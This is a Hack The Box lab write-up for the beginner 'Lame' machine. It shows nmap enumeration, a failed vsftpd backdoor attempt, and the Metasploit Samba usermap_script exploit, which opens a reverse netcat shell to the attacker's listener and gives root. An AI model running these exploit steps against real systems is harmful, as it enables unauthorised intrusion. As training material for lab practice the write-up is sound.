Lame
Lame is a beginner level machine, requiring only one exploit to obtain root access. It was the first machine published on Hack The Box and was often the first machine for new users prior to its retire
Getting User
Starting with an NMAP scan against the host.
I was noticing a LOT of latency issues while running my NMAP scan on the VIP+, so swapped over to a normal VIP server and the connection was significantly better.
βββ(ghostγΏhtb-ops)-[~/htb/labs/lame]
ββ$ sudo nmap -sS -Pn -p- 10.10.10.3 -oA scan
[sudo] password for ghost:
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-27 11:54 CDT
Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 22.77% done; ETC: 11:57 (0:02:26 remaining)
Nmap scan report for 10.10.10.3
Host is up (0.075s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3632/tcp open distccd
Nmap done: 1 IP address (1 host up) scanned in 154.75 secondsSeeing the following ports open, I am curious if this might be a Windows host:
Port 139: SMB originally ran on top of NetBIOS using port 139. NetBIOS is an older transport layer that allows Windows computers to talk to each other on the same network.
Port 445: Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the internet.
Reference; https://www.varonis.com/blog/smb-port
Although, I find it interesting that FTP / (SFTP|SSH) is open which isn't generally expected on a Windows host.
Performing additional enumeration against the host and its open ports, it looks like FTP is open with anonymous login enabled:
βββ(ghostγΏhtb-ops)-[~/htb/labs/lame]
ββ$ sudo nmap -sC -Pn -p 21,22,139,445,3632 10.10.10.3 -oA scan
Starting Nmap 7.94 ( https://nmap.org ) at 2024-04-27 12:02 CDT
Nmap scan report for 10.10.10.3
Host is up (0.084s latency).
PORT STATE SERVICE
21/tcp open ftp
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.6
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn
445/tcp open οΏ½οΏ½aοΏ½2V
3632/tcp open distccd
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2024-04-27T12:39:45-04:00
|_clock-skew: mean: 1h37m03s, deviation: 2h49m45s, median: -22m59s
Nmap done: 1 IP address (1 host up) scanned in 41.46 secondsAttempted to access the system with:
I was able to sign in, but there didn't seem to be any files readily available for transfer.
Attempted to check smb:
βββ(ghostγΏhtb-ops)-[~/htb/labs/lame]
ββ$ smbclient 10.10.10.3
Password for [WORKGROUP\ghost]:
10.10.10.3: Not enough '\' characters in serviceThat's also when I remembered in the About section, it mentions the use of metasploit. I think it's about time to dive in there and see what exploits might be available for the available services.
I'm thinking the exploit will be for SMB, since previous attacks like WannaCry and EternalBlue both exploited older protocols, but that was SMBv1 and it looks like the server is running SMBv2.
Went ahead and checked Exploit-DB and found the following exploit for vsFTP version 2.3.4:
Bringing up metasploit:
βββ(ghostγΏhtb-ops)-[~/htb/labs/lame]
ββ$ msfconsoleWe need to now setup the payload for testing:
msf6 > search vsftpd#
Name
Disclosure Date
Rank
Check
Description
0
auxiliary/dos/ftp/vsftpd_232
2011-02-03
normal
Yes
VSFTPD 2.3.2 Denial of Service
1
exploit/unix/ftp/vsftpd_234_backdoor
2011-07-03
excellent
No
VSFTPD v2.3.4 Backdoor Command Execution
We see 2 exploits, we'll use exploit 1, we can then type either:
use 1or
use exploit/unix/ftp/vsftpd_234_backdoor Once the payload is selected, we need to see what options might need to be set. We can then run show options.
CHOST
no
The local client address
CPORT
no
The local client port
Proxies
no
A proxy chain of format type:host:port,type:host:port...
RHOSTS
yes
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT
21
yes
The target port (TCP)
We need to set the RHOSTS value, this can be done by typing set RHOSTS <value> where <value> is our victim machine.
If you run show options after setting your RHOSTS, we should then see that value in our options:
CHOST
no
The local client address
CPORT
no
The local client port
Proxies
no
A proxy chain of format type:host:port,type:host:port...
RHOSTS
10.10.10.3
yes
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT
21
yes
The target port (TCP)
We can then run our exploit by typing either: run exploit
Unfortunately this did not seem to be the correct service to attempt to exploit since it pauses when trying to pull the password for the account as we see below:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 10.10.10.3:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 10.10.10.3:21 - USER: 331 Please specify the password.
[*] Exploit completed, but no session was created.Re-visiting the available services from our previous scan, there may also be a chance that the SMB server is vulnerable to an exploit.
Searching exploit db for samba 3.0.20 we see there is an exploit from 2007 that may work:
Time to try and load this into Metasploit.
I've already found the name of payload, you can type
use exploit/multi/samba/usermap_scriptto change payloads
Reviewing the options we get a few different choices than our previous payload:
CHOST
no
The local client address
CPORT
no
The local client port
Proxies
no
A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS
yes
The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT
139
yes
The target port (TCP)
Payload options (cmd/unix/reverse_netcat):
LHOST
192.168.37.141
yes
The listen address (an interface may be specified)
LPORT
4444
yes
The listen port
Update the RHOSTS value like we did before:
set RHOSTS 10.10.10.3We can then try and run our exploit.
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.37.141:4444
[*] Exploit completed, but no session was created.It failed. I've run into this issue a while back, and the key thing to note is your LHOST value. I was running from my network, not the VPN network.
notice how the handler started on a 192.168.0.1/24 and not on the HTB VPN network
Set your CHOST to your VPN IP, and run the exploit again:
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.16.6
LHOST => 10.10.16.6
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.16.6:4444
[*] Command shell session 1 opened (10.10.16.6:4444 -> 10.10.10.3:33640) at 2024-04-27 14:10:21 -0500We now have our reverse shell. From here you can grab the flags for root / user as needed.
msf6 exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 10.10.16.6:4444
[*] Command shell session 1 opened (10.10.16.6:4444 -> 10.10.10.3:33640) at 2024-04-27 14:10:21 -0500
whoami
rootLast updated